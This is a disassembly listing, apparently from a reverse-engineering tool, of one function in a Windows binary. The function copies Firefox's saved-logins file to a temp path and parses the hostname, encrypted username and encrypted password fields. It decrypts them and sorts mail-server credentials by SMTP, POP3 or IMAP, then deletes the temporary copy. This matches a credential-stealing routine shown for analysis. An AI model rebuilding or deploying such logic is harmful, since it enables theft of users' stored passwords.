Function at 0x447ec0
Capabilities:
Copy file
Delete file
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7bb8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x7ba0], eax
mov edi, 0x410
lea eax, [ebp - 0x664]
mov dword [ebp - 0x7ba8], edx
push eax
push edi
mov esi, ecx
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push eax
call fcn.00649328
pop ecx
call fcn.00649307
push eax
lea eax, [ebp - 0x664]
push eax
push str._sfirefox_tmp__d.bin
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x664]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
lea eax, [ebp - 0x664]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7bb4], eax
cmp eax, 0xffffffff
je 0x4483fe
push ebx
push ebx
push ebx
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
mov dword [ebp - 0x7bb0], esi
test esi, esi
je 0x4483fe
push ebx
push ebx
push ebx
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x7ba4], eax
test eax, eax
jne 0x447fa5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x448404
mov esi, str._nextId_:
lea edi, [ebp - 0x14]
lea eax, [ebp - 0x14]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str._logins_:
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00643470
mov esi, dword [ebp - 0x7ba4]
pop ecx
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call fcn.0065106c
add esp, 0xc
test eax, eax
jne 0x4483cb
lea eax, [ebp - 0x14]
push eax
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x2c]
add eax, esi
push ecx
push eax
mov dword [ebp - 0x7b98], eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x4483cb
mov esi, str._hostname_:
lea edi, [ebp - 0x20]
push 5
pop ecx
push 5
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str._encryptedUsername_:
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x7b
push dword [ebp - 0x7b98]
movsb byte es:[edi], byte [esi]
mov esi, str._encryptedPassword_:
lea edi, [ebp - 0x5c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x4483b1
lea eax, [ebp - 0x20]
add esi, 2
push eax
push esi
call fcn.00639500
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4483ae
lea eax, [ebp - 0x20]
push eax
call fcn.00643470
pop ecx
push 0x2c
lea esi, [edi + eax]
push esi
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4483ae
sub eax, esi
mov ecx, 0x2328
sub eax, 2
cmp eax, ecx
cmova eax, ecx
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x2d74]
push 0x2710
push eax
call fcn.00650b7d
lea eax, [ebp - 0x2d74]
mov esi, edi
push eax
call fcn.00643470
add esp, 0x14
inc eax
push eax
lea eax, [ebp - 0x2d74]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x2d74]
push str.chrome:__firefoxaccounts
push eax
call fcn.00639500
add esp, 0x10
test eax, eax
jne 0x4483ae
lea eax, [ebp - 0x44]
push eax
push edi
call fcn.00639500
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4483ae
lea eax, [ebp - 0x44]
push eax
call fcn.00643470
pop ecx
push 0x2c
lea esi, [edi + eax]
push esi
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4483ae
sub eax, esi
sub eax, 2
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x7b94]
push 0x2710
push eax
call fcn.00650b7d
lea eax, [ebp - 0x5c]
mov esi, edi
push eax
push edi
call fcn.00639500
mov edi, eax
add esp, 0x18
test edi, edi
je 0x4483ae
lea eax, [ebp - 0x5c]
push eax
call fcn.00643470
pop ecx
push 0x2c
lea esi, [edi + eax]
push esi
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4483ae
sub eax, esi
sub eax, 2
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x5484]
push 0x2710
push eax
call fcn.00650b7d
lea eax, [ebp - 0x5484]
mov esi, edi
push eax
call fcn.00643470
add esp, 0x14
mov dword [ebp - 0x7b98], ebx
lea edx, [ebp - 0x7b98]
lea ecx, [ebp - 0x7b94]
call fcn.004479e0
lea edx, [ebp - 0x7b9c]
mov dword [ebp - 0x7b9c], ebx
lea ecx, [ebp - 0x5484]
call fcn.004479e0
cmp eax, 1
jne 0x4481cf
push dword [ebp - 0x7b9c]
call fcn.00643470
pop ecx
cmp dword [ebp - 0x7b98], ebx
je 0x4483ae
cmp dword [ebp - 0x7b9c], ebx
je 0x4483ae
push 0x1f3
lea eax, [ebp - 0x253]
mov byte [ebp - 0x254], bl
push ebx
push eax
call fcn.006390b0
mov edi, dword [ebp - 0x7ba8]
add esp, 0xc
cmp edi, 0xfd
je 0x448271
cmp edi, 0x104
je 0x448271
cmp edi, 0x10b
je 0x448271
cmp edi, 0x10e
je 0x448271
cmp edi, 0x10f
je 0x448271
mov ecx, dword [ebp - 0x7ba0]
push 0xffffffffffffffff
push str.Deletion_NOT_Supported
push dword [ebp - 0x7b9c]
push dword [ebp - 0x7b98]
cmp edi, 0x74
jne 0x44825d
mov eax, 0x6c5bb9
push eax
push eax
push edi
push 3
jmp 0x4483a9
lea eax, [ebp - 0x2d74]
push eax
push 0x6c5bb9
push edi
push 1
jmp 0x4483a9
lea eax, [ebp - 0x2d74]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x2d74]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x2d74]
push str.smtp:__
push eax
call fcn.00639500
add esp, 0x10
mov dword [ebp - 0x7bac], eax
test eax, eax
je 0x4482d9
push str.SMTP
lea eax, [ebp - 0x254]
push 0x1f4
push eax
call fcn.006494f3
add esp, 0xc
push str.smtp:__
call fcn.00643470
add eax, dword [ebp - 0x7bac]
pop ecx
jmp 0x44836a
lea eax, [ebp - 0x2d74]
push str.mailbox:__
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
jne 0x44833c
lea eax, [ebp - 0x2d74]
push str.pop.
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
jne 0x44833c
lea eax, [ebp - 0x2d74]
push str.pop3.
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
jne 0x44833c
lea eax, [ebp - 0x2d74]
push str.imap
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x44837f
push str.IMAP
jmp 0x448341
push str.POP3
lea eax, [ebp - 0x254]
push 0x1f4
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x2d74]
push 0x2f
push eax
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x44837f
inc eax
push eax
lea eax, [ebp - 0x2d74]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
mov ecx, dword [ebp - 0x7ba0]
lea eax, [ebp - 0x2d74]
push 0xffffffffffffffff
push str.Deletion_NOT_Supported
push dword [ebp - 0x7b9c]
push dword [ebp - 0x7b98]
push eax
lea eax, [ebp - 0x254]
push eax
push edi
push 2
call fcn.0043ee6b
push 0x7b
push esi
call fcn.006393d0
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x44803e
mov esi, dword [ebp - 0x7ba4]
xor ebx, ebx
inc ebx
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x7bb0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebp - 0x7bb4]
test eax, eax
je 0x4483ed
push eax
call esi
lea eax, [ebp - 0x664]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
jmp 0x448406
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret